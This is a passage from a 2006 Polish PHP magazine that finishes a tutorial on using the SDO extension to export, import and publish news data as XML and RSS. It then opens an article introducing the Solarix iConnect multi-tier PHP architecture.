'columns' => array( 'ng_id', 'ng_name', 'ng_description' ),
'PK' => 'ng_id'
);
$newsContentsMap = array (
'name' => 'news_contents',
'columns' => array( 'nc_id', 'ng_id', 'nc_subject', 'nc_lead', 'nc_content'),
'PK' => 'nc_id',
'FK' => array (
'from' => 'ng_id',
'to' => 'news_groups',
)
);
$newsContentsRelationsMap = array( 'parent' => 'news_groups', 'child' =>
'news_contents' );
?>
SDO
www.phpsolmag.org36
Techniki
PHP Solutions Nr 2/2006
szym obecnie sposobem wymiany danych
są pliki XML.
Koncepcja projektu
Pokażemy, jak łatwo możemy napisać
korzystające z SDO skrypty służące do
eksportu danych z relacyjnej bazy danych
do plików XML. W przykładzie tym posłu-
żymy się wiedzą zdobyta w poprzednim
artykule o SDO. Wykorzystamy też sche-
mat bazy danych z Listingu 1. Pobierzemy
dane z bazy korzystając z klasy SDO_DAS_
Relational, która odpowiada w SDO za
komunikację z bazami danych. Następnie
zapiszemy otrzymane dane do pliku XML
przy pomocy SDO_DAS_XML, klasy odpowie-
dzialnej za obróbkę plików XML w rozsze-
rzeniu SDO.
Jak zacząć, czyli o mappingach
Dzięki temu, że architektura SDO jest lo-
gicznie podzielona na dwa typy obiektów:
odpowiadające za strukturę i operacje
na danych, przenoszenie tych samych
obiektów zawierających dane pomiędzy
różnymi źródłami jest łatwe. Jedyne,
czego potrzebujemy do poprawnego
działania takiego rozwiązania to mappingi,
które musimy stworzyć dla każdego źródła
danych z osobna. Na Listingu 2 przedsta-
wiamy mapping dla relacyjnej bazy da-
nych. Jego budowę opisaliśmy dokładnie
w poprzednim artykule o SDO. Dla tych,
którzy go nie czytali, przypomnimy reguły
tworzenia tego mappingu:
� każda tabela bazodanowa, z którą
kontaktujemy się poprzez SDO, musi
mieć swój mapping,
� mapping składa się z tablic asocja-
cyjnych, w każdym mappingu muszą
znaleźć się: informacja o nazwie ta-
blicy, z którą jest on związany (klucz
name), lista kolumn (klucz columns),
nazwa pola klucza głównego (klucz
PK); klucz główny nie może być wielo-
polowy,
� jeżeli pomiędzy tabelami istnieje rela-
cja, tabela podrzędna musi posiadać
w mappingu pole FK zawierające in-
formacje o tabeli, do której jest relacja
(klucz to) i kolumnę, która defi niuje tę
relację (klucz from); dodatkowo, trze-
ba stworzyć tablice relacji.
Na pierwszy rzut oka, reguły te mogą wy-
dawać sie bardzo skomplikowane. Przy-
kład z Listingu 2 powinien jednak rozjaśnić
ewentualne wątpliwości. Poza tym, jeżeli
stworzymy mapping, który zawiera błę-
dy, SDO poinformuje nas o tym poprzez
zgłoszenie wyjątku z odpowiednim opisem
wskazującym nam miejsce wystąpienia
pomyłki. Nie musimy się więc martwić,
że niepoprawnie stworzony mapping bę-
dzie powodował błędne działanie całego
skryptu.
Na Listingu 3 pokazujemy operacje,
jakie należy wykonać, aby pobrać drzewo
obiektów SDO z bazy danych. Są to trzy
działania: nawiązanie połączenia z bazą
danych przy pomocy klasy PDO, inicjacja
klasy SDO_DAS_Relational i wywołanie
metody executeQuery() na obiekcie klasy
SDO_DAS_Relational. Na skutek użycia
tej ostatniej metody otrzymamy drzewo
obiektów SDO, które następnie zapiszemy
w pliku XML. Najpierw jednak musimy
stworzyć mapping dla klasy SDO_DAS_
XML. Pamiętajmy, że SDO_DAS_Relational
jest klasą napisaną w PHP i aby była ona
widoczna, musimy w naszym skrypcie
dołączyć plik Relational.php, który jest do-
stępny wraz z rozszerzeniem SDO.
W przypadku rozszerzenia XML
mappingiem jest plik XML Schema. Na
Listingu 4 przedstawiamy plik XML Sche-
ma dla naszego przykładu. Budowanie
plików XML Schema zostało omówione
pod adresem http://www.w3schools.com/
schema/default.asp, a takżę w książce
zat. XML Schema wydawnictwa O'Reilly,
której autorem jest Eric van der Vlist.
W naszym przykładzie plik XML Sche-
ma składa się z trzech typów. Pierwszy
z nich, SDO_DAS_Relational_RootType,
zawiera listę wszystkich grup newsów, jest
więc pewnego rodzaju kontenerem. Dru-
gi, noszący nazwę news_groups, opisuje
Listing 3. Skrypt pobierający grupy newsów wraz z poszczególnymi
wiadomościami z bazy danych
<?php
require_once 'Relational.php';
/* tu wstawiamy defi nicję mappingu dla bazy danych */
$dbConnection = new PDO('mysql:host=localhost;dbname=nazwa_bazy_danych','użytkownik','hasło');
$das = new SDO_DAS_Relational( array($newsGroupsMap,$newsContentsMap), 'news_groups',
array( $newsContentsRelationsMap ) );
$root = $das->executeQuery($dbConnection, 'select * from news_groups, news_contents where
news_groups.ng_id=news_contents.ng_id', array( 'news_groups.ng_id', 'news_groups.ng_name',
'news_groups.ng_description', 'news_contents.nc_id', 'news_contents.nc_subject',
'news_contents.nc_lead', 'news_contents.nc_content' ) );
?>
Listing 4. Plik XML Schema zawierający defi nicję formatu pliku XML do którego
będą eksportowane dane z bazy danych newsów
<?xml version="1.0" encoding="UTF-8"?>
<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:newsgroups="das_namespace"
targetNamespace="das_namespace">
<xsd:element name="newses" type="newsgroups:SDO_DAS_Relational_RootType"/>
<xsd:complexType name="SDO_DAS_Relational_RootType">
<xsd:sequence>
<xsd:element name="news_groups" type="newsgroups:news_groups"
maxOccurs="unbounded"/>
</xsd:sequence>
</xsd:complexType>
<xsd:complexType name="news_groups">
<xsd:sequence>
<xsd:element name="news_contents" type="newsgroups:news_contents"
maxOccurs="unbounded" />
</xsd:sequence>
<xsd:attribute name="ng_name" type="xsd:string"/>
<xsd:attribute name="ng_description" type="xsd:string"/>
</xsd:complexType>
<xsd:complexType name="news_contents" mixed="false">
<xsd:attribute name="nc_subject" type="xsd:string"/>
<xsd:attribute name="nc_lead" type="xsd:string"/>
<xsd:attribute name="nc_content" type="xsd:string"/>
</xsd:complexType>
</xsd:schema>
SDO
www.phpsolmag.org 37
Techniki
PHP Solutions Nr 2/2006
atrybuty pojedynczej grupy i zawiera listę
wszystkich newsów związanych z daną
grupą. Trzeci typ, news_contents, opisuje
atrybuty pojedynczego newsa. Nazwa
pierwszego typu musi odzwierciedlać typ
korzenia drzewa obiektów SDO pobranego
z bazy danych. Nazwą typu tego korzenia
jest właśnie SDO_DAS_Relational_RootType.
Nazwy pozostałych typów odpowiadają na-
zwom tabel z bazy danych, co wprawdzie
nie jest koniecznie, ale jest zalecane ze
wzgędu na przejrzystość i czytelność kodu.
Tworząc plik XML Schema warto po-
służyć się specjalnie do tego stworzonym
edytorem, takim jak darmowy Eclipse
z pluginem Web Tools Platform.
Na Listingu 5 przedstawiamy kod od-
powiedzialny za zapisanie pobranego z ba-
zy danych drzewa obiektów SDO do pliku
XML, czyli wykonanie eksportu danych
z bazy do innego źródła. Jak widzimy, kod
składa się z trzech linii. W pierwszej z nich
tworzymy obiekt klasy SDO_DAS_XML
korzystając z jej metody statycznej o na-
zwie create(). Metoda ta wymaga poda-
nia jednego parametru, którym jest ścieżka
dostępu i nazwa mappingu. W naszym
przypadku jest to plik, którego zawartość
pokazaliśmy już na Listingu 4.
W drugiej linii pozyskujemy z drzewa
informacje o typie korzenia, które są nam
potrzebne przy zapisie drzewa. Wreszcie,
w trzeciej linii zapisujemy dane do pliku
XML. Osiągamy to za pomocą metody
saveDataObjectToFile(). Wymaga ona
podania czterech parametrów. Pierw-
szym jest drzewo obiektów SDO, drugi
to URI schematu, a trzeci stanowi nazwę
typu danych, który jest nadrzędny wobec
wszystkich innych, czyli korzenia drzewa.
Z kolei czwarty parametr to nazwa pliku,
w którym mają być zapisane dane. Jeżeli
plik nie istnieje, to zostanie utworzony. Je-
żeli natomiast istnieje, to wszystkie zgro-
madzone w nim dane zostaną nadpisane.
SDO_DAS_XML posiada jeszcze trzy inne
metody do serializacji danych zgromadzo-
nych w obiektach SDO:
� saveDataObjectToString – zamiast do
pliku zapisuje dane (obiekt klasy SDO _
DataObject) do zmiennej łańcuchowej,
� saveDocumentToFile – zapisuje do
pliku obiekt klasy SDO _ DAS _ XML _
Document,
� saveDocumentToString – zapisuje do
zmiennej łańcuchowej obiekt klasy
SDO _ DAS _ XML _ Document.
Jak widać na omówionym przykładzie, po-
między pobraniem danych z bazy a ich za-
pisem w pliku XML nie dokonaliśmy w nich
żadnych zmian. W szczególności, nie zmo-
dyfi kowaliśmy struktury danych. Oczywi-
ście, musimy dokonać takich zmian, jeżeli
plik XML nie ma być idealnym odzwiercie-
dleniem bazy danych i będzie zawierał np.
dodatkowe, niewystępujące w bazie da-
nych informacje, albo jego struktura będzie
inna. Jeżeli jednak tak nie jest, to eksportu
danych możemy dokonać w kilku linijkach
kodu. Co ciekawe, procedura importu, którą
pokazujemy na Listingu 6 jest prawie iden-
tyczna. Odwrócona jest jedynie kolejność
wykonywania operacji: dane są najpierw
ładowane z pliku XML do obiektów SDO,
a następnie, po skopiowaniu do nowego
drzewa, zapisywane w bazie danych.
Import danychz pliku XML Import danych z pliku XML nie już tak pro-
stym zadaniem. Powód jest następujący.
Zapisując dane do bazy, klasa SDO_DAS_
Relational korzysta z funkcjonalności
obiektów SDO polegającej na zapamię-
tywaniu wszystkich zmian przeprowadzo-
nych na drzewie obiektów. Zapisywanie
zmian dotyczy wszystkich wykonywanych
na drzewie operacji. Listę tych operacji
możemy podejrzeć wywołując (najlepiej na
korzeniu) metodę getChangesSummary().
Metoda ta zwróci obiekt typu SDO_
DAS_ChangesSummary, który z kolei posiada
m.in. metodę getChangedDataObjects().
To właśnie ta metoda zwraca listę wszyst-
kich zmienionych obiektów. Wracając
do problemu importu danych, drzewo
obiektów, które otrzymujemy po przeczy-
taniu pliku XML nie zawiera oczywiście
żadnych zmian. Próba zapisania tego
Listing 5. Część skryptu eksportu odpowiedzialna za zapis danych z bazy do pliku XML
<?php
/* tu wstawiamy kod z Listingu 3 */
$xmlDAS = SDO_DAS_XML::create("group.xsd");
$type = $dbRoot->getType();
$xmlDAS->saveDataObjectToFile($dbRoot,$type[0],$type[1],"export.xml");
?>
Listing 6. Skrypt importu danych z pliku XML.
<?php
function copySDOTree( $dbTree, $xmlTree )
{
if ( $xmlTree instanceof SDO_DataObject && $xmlTree->getContainer() != null )
{
$type = $xmlTree->getType();
$sdoDBObject = $dbTree->createDataObject( $type[1] );
} else {
$sdoDBObject = $dbTree;
}
foreach( $xmlTree as $propertyName => $sdoXMLObject )
{
if ( is_object( $sdoXMLObject ) )
{
copySDOTree($sdoDBObject,$sdoXMLObject);
} else {
$sdoDBObject->{$propertyName} = $sdoXMLObject;
}
}
}
require_once 'Relational.php';
/* tu wstawiamy defi nicję mappingu dla bazy danych */
$dbConnection = new PDO('mysql:host=localhost;dbname=sdo','root','');
$dbDAS = new SDO_DAS_Relational( array($newsGroupsMap,$newsContentsMap),
'news_groups', array( $newsContentsRelationsMap ) );
$dbRoot = $dbDAS->createRootDataObject();
$xmlDAS = SDO_DAS_XML::create("sdo_xml/group.xsd");
$xmlDocument = $xmlDAS->loadFromString(fi le_get_contents("export.xml"));
copySDOTree( $dbRoot, $xmlDocument->getRootDataObject() );
$dbDAS->applyChanges($dbConnection,$dbRoot);
?>
SDO
www.phpsolmag.org38
Techniki
PHP Solutions Nr 2/2006
drzewa do bazy danych zakończy się
więc niepowodzeniem, gdyż metoda
getChangedDataObjects() zwróci wartość
null, co oznacza, że żadne obiekty nie
zostały zmienione.
Jak rozwiązać ten problem? Najlepiej
przekopiować drzewo pochodzące z pliku
XML do nowego drzewa utworzonego
przy pomocy klasy SDO_DAS_Relational.
Wydawać by się mogło, że operacja ta jest
dość skomplikowana. Na szczęście tak nie
jest: funkcja, która przekopiuje dowolne
drzewo do innego zajmuje zwykle kilkana-
ście linijek kodu. Jest tylko jeden warunek:
oba drzewa muszą być oparte na tych
samych mappingach, gdyż inaczej SDO
zgłosi wyjątek. Wymagane jest, aby nazwy
atrybutów zgadzały się z nazwami kolumn,
a nazwy typów z nazwami tabel.
Na Listingu 6 przedstawiliśmy przy-
kładowy skrypt importu dla bazy danych
newsów. Najważniejszym elementem
tej aplikacji jest metoda copySDOTree(),
która odpowiada za skopiowanie drze-
wa pochodzących z pliku XML obiektów
SDO do odpowiadającego mu drzewa,
które następnie zostanie zapisane w ba-
zie danych. Metoda ta korzysta z faktu,
że obiekty SDO implementują interfejs
Traversable, który umożliwia nam poru-
szanie się w obrębie drzewa i atrybutów
obiektów przy użyciu instrukcji foreach.
Pozostała część skryptu zawiera znane
nam już metody i operacje z poprzed-
nich przykładów. Wyjątkiem jest metoda
loadFromFile(), którą wywołujemy na
obiekcie klasy SDO_DAS_XML. Parametrem tej
metody jest nazwa pliku zawierającego da-
ne w postaci XML. Zwracana jest natomiast
instancja klasy SDO_DAS_XML_Document.
Poza drzewem SDO, zawiera ona szereg
użytecznych informacji o pliku XML, na
podstawie którego została utworzona. Pe-
łen zestaw atrybutów wraz z ich opisem
znajdziemy w dokumentacji PHP. Dla nas
najważniejsze jest, że wywołując na tym
obiekcie metodę getRootDataObject()
otrzymamy drzewo SDO pochodzące
z pliku XML.
Dla osób, które nie czytały poprzed-
niego artykułu o SDO nieznana może być
również metoda applyChanges() którą
wywołujemy na obiekcie klasy SDO_DAS_
Relational. Odpowiada ona za zapisanie
drzewa w bazie danych. Wymaga po-
dania dwóch parametrów drzewa, które
zostanie zapisane i połączenia z bazą
danych, w której drzewo ma zostać za-
chowane.
Czytnik plików RSSPublikacja wiadomości (newsów) w forma-
cie RSS stała się już prawie standardem.
PHP udostępnia przynajmniej kilka biblio-
tek do tworzenia i publikowania wiadomo-
ści tej postaci w Internecie.
My stworzymy przykład, który pokaże,
jak wykorzystać SDO do napisania modułu
do publikacji wiadomości w formacie RSS.
Wykorzystamy w tym celu naszą bazę
danych z newsami. Pierwszym, czego
będziemy potrzebować jest odpowiedni
plik XML Schema. Możemy napisać go
sami wiedząc, jaka musi być struktura
pliku RSS, lub poszukać odpowiedniego
pliku w sieci. Ja wybrałem drugą opcję
i swój plik znalazłem na stronie http://-
www.thearchitect.co.uk/schemas/rss-
2_0.xsd. Zwróćmy uwagę, że jest to plik
dla standardu RSS 2.0. Mając już plik
schematu, możemy zabrać się za tworze-
nie drzewa obiektów SDO, które następ-
nie zserializujemy do XML-a, otrzymując
w ten sposób plik z newsami w formacie
RSS 2.0.
Do pobrania danych z bazy wykorzy-
stamy skrypt z Listingu 3. Na Listingu 7
przedstawiamy natomiast skrypt tworzący
drzewo obiektów dla RSS i pozwalający
wygenerować plik RSS v2. Niestety, tym
razem kod nie jest taki prosty, jak w przy-
padku eksportu danych. Powodem tego
jest fakt, że drzewo obiektów z bazy nie
jest tożsame drzewu obiektów RSS. To
drugie ma inną strukturę i zawiera więcej
informacji. Dlatego głównym elementem
naszego skryptu jest przepisanie jednego
drzewa do drugiego oraz uzupełnienie tego
drugiego o informacje dla niego charaktery-
styczne.
Podobnie jak poprzednio, po od-
czytaniu danych z bazy korzystamy ze
statycznej metody create(), aby utworzyć
obiekt klasy SDO_XML_DAS. Następnie, przy
pomocy metody createDataObject(),
którą wywołujemy na obiekcie klasy
SDO_XML_DAS, tworzymy korzeń drzewa
obiektów SDO. W korzeniu tym będziemy
przechowywać obiekty SDO składające
się na dokument RSS.
Metoda createDataObject() wymaga
podania dwóch parametrów: URI schema-
tu oraz nazwy nadrzędnego wobec wszyst-
kich innych typu danych. Obie informacje
Listing 7. Skrypt tworzący drzewo obiektow dla RSS
<?php
header('Content-type: application/xml');
require_once 'Relational.php';
require_once 'artykul_map.php';
$dbConnection = new PDO('mysql:host=localhost;dbname=sdo','root','');
$dbDAS = new SDO_DAS_Relational( array($newsGroupsMap,$newsContentsMap),
'news_groups', array( $newsContentsRelationsMap ) );
$dbRoot = $dbDAS->executeQuery($dbConnection, 'select news_groups.ng_id,
news_groups.ng_name, news_groups.ng_description, news_contents.nc_id,
news_contents.nc_subject, news_contents.nc_lead, news_contents.nc_content from
news_groups, news_contents where news_groups.ng_id=news_contents.ng_id', array
( 'news_groups.ng_id', 'news_groups.ng_name', 'news_groups.ng_description',
'news_contents.nc_id', 'news_contents.nc_subject', 'news_contents.nc_lead',
'news_contents.nc_content' ) );
$xmlDAS = SDO_DAS_XML::create("sdo_xml/RSS20.xsd");
$xmlRoot = $xmlDAS->createDataObject("http://blogs.law.harvard.edu/RSS20.xsd","rss");
$channel = $xmlRoot->createDataObject("channel");
$channel->version = "2.0";
$channel->title = $dbRoot->news_groups[0]->ng_name;
$channel->description = $dbRoot->news_groups[0]->ng_description;
$channel->link = "http://nazwa_domeny";
$channel->language = "pl";
foreach( $dbRoot->news_groups[0]->news_contents as $index => $news_content )
{
$xmlRoot->channel->createDataObject("item");
$xmlRoot->channel->item[$index]->title = $news_content->nc_subject;
$xmlRoot->channel->item[$index]->description = $news_content->nc_lead;
$xmlRoot->channel->item[$index]->link = "http://nazwa_domeny?nc_id=".
$news_content->nc_id;
}
$type = $xmlRoot->getType();
echo $xmlDAS->saveDataObjectToString($xmlRoot,$type[0],$type[1]);
?>
SDO
www.phpsolmag.org 39
Techniki
PHP Solutions Nr 2/2006
muszą zawsze znajdować się w pliku
XML Schema. Po utworzeniu korzenia
drzewa obiektów SDO możemy zacząc
go wypełniać właściwymi obiektami. Pierw-
szym potrzebnym obiektem będzie ten
reprezentujący informacje o kanale RSS.
W standardzie RSS informacje te zapisane
są w tagu <channel>.
Chcąc utworzyć obiekt SDO należą-
cy do drzewa, musimy wykonać na tym
drzewie metodę createDataObject().
Przekażemy jej jeden parametr: nazwę ty-
pu, który dany obiekt SDO ma reprezento-
wać. W tym przypadku jest to typ channel.
Wszystkie zmienne, które zostały przypisa-
ne utworzonemu w taki sposób obiektowi
w mappingu, stają się jego zmiennymi
publicznymi.
Jeżeli będziemy próbowali odwołać się
do zmiennej, która nie jest zdefi niowana
w mappingu, SDO zgłosi wyjątek. Po utwo-
rzeniu obiektu SDO dla tagu <channel>
uzupełniamy go o kilka potrzebnych infor-
macji, takich jak nazwa i opis kanału oraz
język, w którym publikowane są wiadomo-
ści w tym kanale. Podczas serializacji do
XML-a, wartości zapisane w tych zmien-
nych zostaną zapisane (w zależności od
defi nicji w mappingu) jako atrybuty znacz-
nika <channel> lub niezależnych tagów
znajdujących się wewnątrz <channel>.
Kolejnym krokiem jest utworzenie
listy obiektów, które będą reprezentowały
newsy z naszej bazy danych. W stan-
dardzie RSS wiadomości grupowane są
wewnątrz znacznika <channel>, a para-
metry wiadomości otoczone są tagiem
<item>. Defi nicja wszystkich parametrów
wiadomości dostępna jest w pliku XML
Schema. Jeżeli tagi <item> są podrzędne
wobec znacznika <channel>, to obiekty
SDO item muszą być podrzędne w sto-
sunku do obiektu zawierającego informa-
cje o kanale. Aby tak było, na obiekcie
channel wykonujemy w pętli metodę
createDataObject() z parametrem item.
W ten sposób przepiszemy wszystkie
newsy do drzewa SDO. Dla uproszczenia
zajmiemy się jedynie newsami z grupy,
która została pobrana jako pierwsza z ba-
zy danych. Nic nie stoi na przeszkodzie,
aby np. numer grupy był parametrem
skryptu. W ten sposób będziemy mogli
stworzyć skrypt, który będzie tworzył plik
RSS dla różnych grup newsów w sposób
dynamiczny. Problem ten możemy rów-
nież na inne sposoby, np. parametryzując
zapytanie do bazy danych.
Ostatnią operacją, jaką wykonuje-
my, jest serializacja drzewa obiektów do
XML-a. Tym razem posłużymy się metodą
saveDataObjectToString().
Dużą prostszą operacją jest czytanie
plików RSS i tworzenie drzew SDO na
ich podstawie. Skrypt, który ma mieć taką
funkcjonalność, będzie się składał z zale-
dwie dwóch linii kodu. W pierwszej z nich
utworzymy obiekt klasy SDO_DAS_XML z od-
powiednim mappingiem, a w drugiej od-
czytamy plik korzystając z loadFromFile().
Plikiem może być również link do ze-
wnętrznej strony internetowej. Pozwala
nam to na agregowanie newsów z różnych
serwisów na naszej witrynie.
PodsumowanieSpośród licznych funkcji, które posiada
SDO, nie pokazaliśmy dwóch, o których
warto wspomnieć. Pierwszą z nich jest
możliwość przeszukiwania drzewa SDO
w standardzie XPath. Drugą jest zapisy-
wanie obiektów SDO w sesji. Pozwala to
odczytać obiekt z bazy, pokazać go na for-
mularzu edycji i zapisać w sesji w ramach
jednego żądania (ang. request).
Następnie, gdy będziemy zapisywać
obiekt z formularza, wystarczy pobrać go
z sesji, zmienić jego parametry i zapisać
w bazie. Dzięki temu będziemy mieli pew-
ność, że zapisujemy ten sam obiekt, który
odczytaliśmy, co uczyni naszą aplikację
odporniejszą na próby włamania.
Przedstawiliśmy Wam solidne podsta-
wy SDO, stosowanego zarówno wobec
baz danych, jak i plików XML. Wzbogace-
nie pokazanego przez nas kodu o wspo-
mniane funkcje będzie świetnym punktem
wyjścia dla dalszego, własnoręcznego
poznawania fascynujących możliwości roz-
szerzenia SDO. �
Piotr Szarwas jest pracownikiem SUPER-
MEDIA Interactive i doktorantem na wy-
dziale Fizyki Politechniki Warszawskiej.
Od 2003 roku projektuje aplikacje WWW
w oparciu o PHP4/5. Obecnie zajmuje się
tworzeniem frameworka dla PHP oparte-
go na rozwiązaniach Hibernate i Spring.
Kontakt z autorem:
O autorze
R E K L A M A
PHP Solutions Nr 2/2006
Narzędzia
www.phpsolmag.org40
Java (w wydaniu J2EE) i .NET są
traktowane jako rozwiązania, do
których odwołują się wszystkie in-
ne architektury systemów informatycznych
stosowanych w środowisku biznesowym.
Zaletą PHP jest jednakże jego ogromna
popularność. Zgodnie z danymi pocho-
dzącymi z Google, w rozwiązaniach webo-
wych PHP jest trzy razy częściej stosowa-
ny od JSP, a ogólna liczba witryn korzysta-
jących z PHP sięga ok. 17 milionów.
Co więcej, wraz z pojawieniem się
PHP5 (i Zend Engine 2), język ten nie-
specjalnie ustępuje Javie, do której upo-
dobnił się zwłaszcza pod względem mo-
delu obiektowego i systemu obsługi wy-
jątków. Można śmiało powiedzieć, iż PHP
stał się już językiem klasy Enterprise (wia-
rygodnym i nadającym się do stosowania
w świecie biznesu na większą skalę).
Brakuje mu jednakże jednego: posiada-
nej przez J2EE i .NET architektury, która
w sposob precyzyjny defi niuje sposób
określania struktury i logicznego podziału
Ileż razy zdarzało Ci się spotykać na forach
i listach dyskusyjnych stwierdzenia w rodzaju
„PHP to nie Java, tylko prosty język skryptowy.
Potrzebujemy czegoś profesjonalnego, do
tworzenia poważnych projektów”. Dzięki Solarix
iConnect możesz powiedzieć autorom tych
wypowiedzi, że się mylą i będziesz miał rację:
oto nadchodzi epoka profesjonalnej architektury
programistycznej w PHP, na miarę rozwiązań
typu J2EE czy .NET.
aplikacji, do której można by się odwoły-
wać projektując i pisząc programy.
Istniejące w świecie PHP rozwiąza-
nia nieofi cjalne, takie jak popularne ostat-
nio frameworki, przeważnie stanowią wy-
łącznie zestawy narzędzi realizujących ta-
kie zadania, jak logowanie, uwierzytelnia-
nie, kontakt z bazą danych, itd. W ramach
ich funkcjonalności nie ma przeważnie
miejsca na wspomniane kwestie związane
z architekturą czy logiką aplikacji. Nie umo-
żliwiają również korzystania z tworzonych
rozwiązań w sposób rozproszony.
Tworzenie rozwiązań klasy Enterprise przy zastosowaniu Solarix iConnectAlex Pagnoni
W SIECI
1. http://www.solarix.it/
– strona główna Solarix
2. http://phppatterns.com
– witryna o wzorcach pro-
jektowych
3. http://java.sun.com
– główna strona Javy
Co należy wiedzieć...Powinieneś znać zasady programowa-
nia obiektowego w PHP5 i mieć pojęcie
o frameworkach i wzorcach projekto-
wych. Przyda się również podstawowa
znajomość Javy.
Co obiecujemy...Dowiesz się, jak dzięki Solarix iConnect
przenieść do PHP najlepsze mechani-
zmy obiektowe z J2EE i .NET.
Stopień trudności: ���
Solarix iConnect
PHP Solutions Nr 2/2006
Narzędzia
www.phpsolmag.org 41
ArchitekturaSolarix iConnectAby zaradzić tym problemom, opracowano
architekturę Solarix iConnect. Stanowi ona
zestaw komponentów opartych na PHP5,
w tym kontenerów i frameworków zaprojek-
towanych z punktu widzenia modularności
i programowania rozproszonego. Jest
opensourcowa i rozpowszechniana na li-
cencji Mozilla Public License, co umożliwia
jej stosowanie również w rozwiązaniach ko-
mercyjnych.
Jest poza tym wielowarstwowa (ang.
multi-tier) i zorientowana na usługi (ang.
service-oriented). Stanowi również kolek-
cję standardowych specyfi kacji i metodo-
logii służących do tworzenia aplikacji webo-
wych klasy Enterprise. Dodatkowo, iCon-
nect dziedziczy wiele mocnych punktów ar-
chitektury J2EE.
Należy sprecyzować, że z punktu wi-
dzenia architektury iConnect nie wno-
si cech ściśle przydatnych dla zaspokoje-
nia wymogów formalnych, gdyż należy to
do zadań tworzonych z jego pomocą apli-
kacji. Głównym celem architektury Solarix
iConnect jest natomiast organizacja aplika-
cji w sposób ułatwiający spełnienie wymo-
gów niefunkcjonalnych, takich jak jak skalo-
walność, łatwość obsługi, bezpieczeństwo,
modularność, itd. Są to właściwości, które
pozwalają na obsługę, dostosowanie i kon-
trolowanie aplikacji w czasie ich rozwoju.
iConnect zapewnia infrastrukturę, na bazie
której możemy tworzyć aplikacje różnego
typu, nie tylko te zorientowane na WWW.
Wielką zaletą architekury rozproszonej
jest łatwość, z jaką przychodzi zmienia-
nie warunków działania aplikacji: przy-
kładowo, przy znacznym wzroście obcią-
żenia wystarczy poprawić architekturę, bez
dokonywania modyfi kacji samej aplikacji.
Solarix iConnect ma również stanowić
spoiwo pomiędzy istniejącymi już aplikacja-
mi korporacyjnymi (np. projektami intrane-
towymi, extranetowymi czy portalami kor-
poracyjnymi), co wymaga ich integrację i
udostępnienie na WWW, a tablicami służą-
cymi do analizy sprzedaży, dostępu do da-
nych przetwarzanych przez działające już
w systemie korporacyjnym aplikacje, itd.
Skupmy się na chwilę na istniejących
aplikacjach, które musimy zintegrować
z naszym systemem. Zwykle działają na
różnego rodzaju maszynach i – co sta-
nowi poważny problem – nie komunikują
się między sobą, stanowiąc tzw. wyspy
informacyjne. Niestety, nawet gdy są
przestarzałe, często nie mogą zostać za-
stąpione nowszymi i lepiej zintegrowanymi
systemami.
Problem ten jest możliwy do rozwiąza-
nia dzięki dwóm czynnikom. Pierwszym
jest rozbudowywalność języka PHP. Liczne
rozszerzenia PHP (PECL-owe, PEAR-owe,
itd.) umożliwiają łączenie się z rozmaity-
mi bazami danych oraz innymi systema-
mi przy minimalnym wysiłku ze strony pro-
gramistów. Z kolei Solarix iConnect stawia
czoła opisanemu wyzwaniu dzięki temu,
że umożliwia ukrycie całej złożoności za-
rządzania danymi poprzez samą strukturę
swojej architektury.
Podstawowepojęcia iConnectaArchitektura iConnect została zaprojekto-
wana w celu podziału aplikacji klasy Enter-
prise na 5 współdziałających ze sobą po-
ziomów:
• warstwa zasobów (Resource tier): za-
wiera zasoby takie jak dane (data) i le-
gacy (obsługa starego oprogramowa-
nia),
• warstwa integracji (Integration tier):
zajmuje się integracja logiczną i dostę-
pem systemu do zasobów,
• warstwa biznesowa (Business tier):
grupuje komponenty odpowiedzialne
za logikę biznesową aplikacji,
• warstwa prezentacji (Presentation tier):
komponuje i publikuje zawartość udo-
stępnianą przez komponenty należące
do warstwy biznesowej,
• warstwa kliencka (Client tier): udostęp-
nia interfejs użytkownika (ang. User
Interface) i odpowiada za współpracę
z użytkownikiem.
Komponenty iConnect współdzielą jedyny
framework wykonywalny. Obejmują rów-
nież poziomy pośrednie, czyli integracji,
biznesowy i prezentacji. W warstwie za-
sobów znajdują się bazy danych, syste-
my sprzed wdrożenia iConnecta (ang. le-
gacy systems) i podobne. Poziom kliencki
jest natomiast obsługiwany przez przeglą-
darki WWW.
Architektura iConnect składa się ze
wzajemnie współdziałających bloków:
• Carthag – platforma wspólna dla ca-
łej architektury, pełni tę sama rolę co
J2SE i J2EE w architekturze Java-ba-
sed. Jest zintegrowana z runtime par-
sera PHP,
• webserwisy (ang. Web services) i licz-
ne narzędzia zwane konektorami (ang.
connectors), pozwalające na łączenie
się systemu z warstwą zasobów,
• iConnect Enterprise Application Server
(EAS) – zawiera i obsługuje logikę biz-
nesową w formie gotowych do urucho-
mienia modułów. Działa podobnie do
Enterprise Java Bin (EJB),
• iConnect Web Application Server
(WAS) – jest odpowiedzialny za uru-
chamianie i działanie aplikacji WWW
(które pracują właśnie na tym serwe-
rze), zachowując się podobnie jak se-
rvlety i JSP,
• iConnect Portal Server: organizuje
aplikacje WWW bazujące na WAS i na
modułach EAS, grupuje komponenty
i jest odpowiedzialny za logikę prezen-
tacji, stosując typowy wzorzec MVC
(Model, Widok, Kontroler).
Nie zawsze aplikacje bazujące na Sola-
rix iConnect są podzielone również na po-
ziomie implementacyjnym pomiędzy te
Wymagania i instalacjaSolarix iConnect potrzebuje PHP5 wraz z rozszerzeniami socket oraz xmlrpc (dla Solarix
iConnect EAS). Pozostałe elementy iConnecta, czyli Platform, WAS i Portal Server nie
wymagają żadnych rozszerzeń. Konieczna będzie również instalacja serwera Apache, na
którym opiera się Solarix iConnect WAS. Warto też wspomnieć, iż oczekiwania sprzętowe
Solarixa nie są wysokie, zwłaszcza biorąc pod uwagę, że został on zaprojektowany tak,
aby zapewniać skalowalność.
Instalacja systemu jest bardzo prosta. Pod Windows odbywa się za pomocą prostych
instalatorów. Pod Linuksem natomiast należy rozpakować archiwa do katalogu docelowe-
go (np. /usr/local/iconnect/) i ewentualnie przemianować katalogi usuwając numer wersji
(np. zmienić nazwę carthag-1.2 na carthag).
Poza tym, pod Linuksem katalog zawierający Solarix iConnect WAS powinien zawsze
mieć te same uprawnienia użytkownika co Apache: chown -R apache.apache /usr/local/
iconnect/was. Wreszcie, we wszystkich systemach należy uaktualnić ścieżkę do klas (ang.
classpath) Carthaga.
Solarix iConnect
PHP Solutions Nr 2/2006
Narzędzia
www.phpsolmag.org42
wszystkie kontenery, co jest sytuacją typo-
wą w bardziej złożonych przypadkach. Na-
tomiast w prostszych przypadkach wystar-
czy zastosować jedynie Solarix iConnect
Platform i Solarix iConnect WAS, gdzie
aplikacja webowa (zwana w skrócie we-
